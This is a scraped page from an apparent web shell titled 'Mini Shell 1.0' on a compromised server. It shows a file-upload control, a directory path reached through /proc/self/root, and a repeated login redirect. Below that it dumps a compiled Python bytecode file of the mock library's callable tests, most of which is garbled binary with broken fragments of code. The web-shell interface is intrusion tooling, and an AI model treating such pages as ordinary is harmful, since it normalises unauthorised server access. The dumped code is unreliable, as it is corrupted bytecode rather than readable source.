HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/mock/tests/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/mock/tests/__pycache__/testcallable.cpython-311.pyc
�

���_����ddlZddlmZmZmZddlmZmZmZm	Z	m
Z
mZddlm
Z
Gd�dej��Zedkrej��dSdS)�N)�is_instance�X�	SomeClass)�Mock�	MagicMock�NonCallableMagicMock�NonCallableMock�patch�create_autospec)�
CallableMixinc�V�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
S)�TestCallablec��|�t|t����|�t|t����dS�N)�
assertTruerr�assertFalser��self�mocks  �9/usr/lib/python3/dist-packages/mock/tests/testcallable.py�assertNotCallablezTestCallable.assertNotCallablesC������D�*>�?�?�@�@�@�����T�=�9�9�:�:�:�:�:�c��t��t��fD]m}|�t|��|�t|d����|�|jjt|�����ndS)N�__call__)
rr	�assertRaises�	TypeErrorr�hasattr�assertIn�	__class__�__name__�reprrs  r�test_non_callablezTestCallable.test_non_callables���(�*�*�O�,=�,=�=�	?�	?�D����i��.�.�.����W�T�:�6�6�7�7�7��M�M�$�.�1�4��:�:�>�>�>�>�	?�	?rc��|�ttt����|�ttt
����dSr)r�
issubclassrrrr	�rs r�test_hierarchyzTestCallable.test_hierarchysA�����
�9�d�3�3�4�4�4����
�#7��I�I�J�J�J�J�Jrc�&�t��}|�tt|j��t
����t
��}|�tt|j��t����dSr)	r	rr$�type�onerr�twor)rr)r*s   r�test_attributeszTestCallable.test_attributes"sf���������
�4���=�=�$�7�7�8�8�8�"�$�$�����
�4���=�=�)�<�<�=�=�=�=�=rc�N�Gd�dt��}|��}|�tt|j��|����Gd�dt
��}|��}|�tt|j��|����dS)Nc��eZdZdS)�-TestCallable.test_subclasses.<locals>.MockSubN�r �
__module__�__qualname__�rr�MockSubr.+��������Drr3c��eZdZdS)�.TestCallable.test_subclasses.<locals>.MagicSubNr/r2rr�MagicSubr61r4rr7)rrr$r(r)rr*)rr3r)r7r*s     r�test_subclasseszTestCallable.test_subclasses*s���	�	�	�	�	�d�	�	�	��g�i�i�����
�4���=�=�'�:�:�;�;�;�	�	�	�	�	�y�	�	�	��h�j�j�����
�4���=�=�(�;�;�<�<�<�<�<rc�0�tdtzd���}|���}|�|j��|��}|���|�|��|�t|��dS)N�%s.XT��spec�	r
r �start�
addCleanup�stop�assert_called_once_withrrr�r�patcherr�instances    r�test_patch_speczTestCallable.test_patch_spec8s������)��5�5�5���}�}���������%�%�%��4�6�6���$�$�&�&�&����x�(�(�(����)�X�.�.�.�.�.rc�0�tdtzd���}|���}|�|j��|��}|���|�|��|�t|��dS)Nr:T��spec_setr=rBs    r�test_patch_spec_setz TestCallable.test_patch_spec_setDs������)�D�9�9�9���}�}���������%�%�%��4�6�6���$�$�&�&�&����x�(�(�(����)�X�.�.�.�.�.rc��tdtzt�����}|���}|�|j��|�|��|�t|��dS)Nr:r;�	r
r rr>r?r@rrr�rrCrs   r�test_patch_spec_instancez%TestCallable.test_patch_spec_instancePsn�����)����4�4�4���}�}���������%�%�%����t�$�$�$����)�T�*�*�*�*�*rc��tdtzt�����}|���}|�|j��|�|��|�t|��dS)Nr:rGrKrLs   r�test_patch_spec_set_instancez)TestCallable.test_patch_spec_set_instanceYsn�����)�A�C�C�8�8�8���}�}���������%�%�%����t�$�$�$����)�T�*�*�*�*�*rc	��Gd�dt��}Gd�d|��}Gd�dt|��}dD�]}|||fD�]}tdtzfi||i��5}|��}|���|�t
|t����|�tt|d	��|��}|���|d
dd��|�d
dd��|�d
dd��|j�d
dd��ddd��n#1swxYwY����dS)
Nc��eZdZd�ZdS)�>TestCallable.test_patch_spec_callable_class.<locals>.CallableXc��dSrr2r%s rrzGTestCallable.test_patch_spec_callable_class.<locals>.CallableX.__call__ds���rN)r r0r1rr2rr�	CallableXrRcs������$�$�$�$�$rrTc��eZdZdS)�8TestCallable.test_patch_spec_callable_class.<locals>.SubNr/r2rr�SubrVfr4rrWc��eZdZdS)�:TestCallable.test_patch_spec_callable_class.<locals>.MultiNr/r2rr�MultirYir4rrZ)r<rHr:�	foobarbaz���)rrr
r rArrrr�AttributeError�getattr�foo)	rrTrWrZ�arg�KlassrrD�results	         r�test_patch_spec_callable_classz+TestCallable.test_patch_spec_callable_classbs��	%�	%�	%�	%�	%��	%�	%�	%�	�	�	�	�	�)�	�	�	�	�	�	�	�	�I�s�	�	�	�&�	@�	@�C�"�C��.�
@�
@���6�H�,�=�=��e��=�=�@��#�t�v�v�H��0�0�2�2�2��O�O�K��)�$D�$D�E�E�E��%�%�n�g�x�&1�3�3�3�&�X�Z�Z�F��4�4�6�6�6��F�1�a��O�O�O��2�2�1�a��;�;�;��J�J�q�!�Q�'�'�'��J�6�6�q�!�Q�?�?�?�!@�@�@�@�@�@�@�@�@�@�@����@�@�@�@��
@�	@�	@s�CE�E�Ec���tt��}|��}|�t|��tt����}|�t|��dSr)rrrr)rrrDs   r�test_create_autospecz!TestCallable.test_create_autospec�s]���q�!�!���4�6�6�����)�X�.�.�.��q�s�s�#�#�����)�T�*�*�*�*�*rc��ttd���}|�t|��|���|j���|�t|jdd��dS)NT)rD�some�args)rrrr�wibblerArs  r�test_create_autospec_instancez*TestCallable.test_create_autospec_instance�sm���y�4�8�8�8�����)�T�*�*�*����
�
�
���+�+�-�-�-����)�T�[�&�6�B�B�B�B�BrN)r r0r1rr"r&r+r8rErIrMrOrergrlr2rrrrs�������;�;�;�
?�?�?�K�K�K�
>�>�>�=�=�=�	/�	/�	/�	/�	/�	/�+�+�+�+�+�+�@�@�@�>+�+�+�C�C�C�C�Crr�__main__)�unittest�mock.tests.supportrrrrrrrr	r
r�	mock.mockr�TestCaserr �mainr2rr�<module>rss���
����8�8�8�8�8�8�8�8�8�8�����������������$�#�#�#�#�#�BC�BC�BC�BC�BC�8�$�BC�BC�BC�J�z����H�M�O�O�O�O�O��r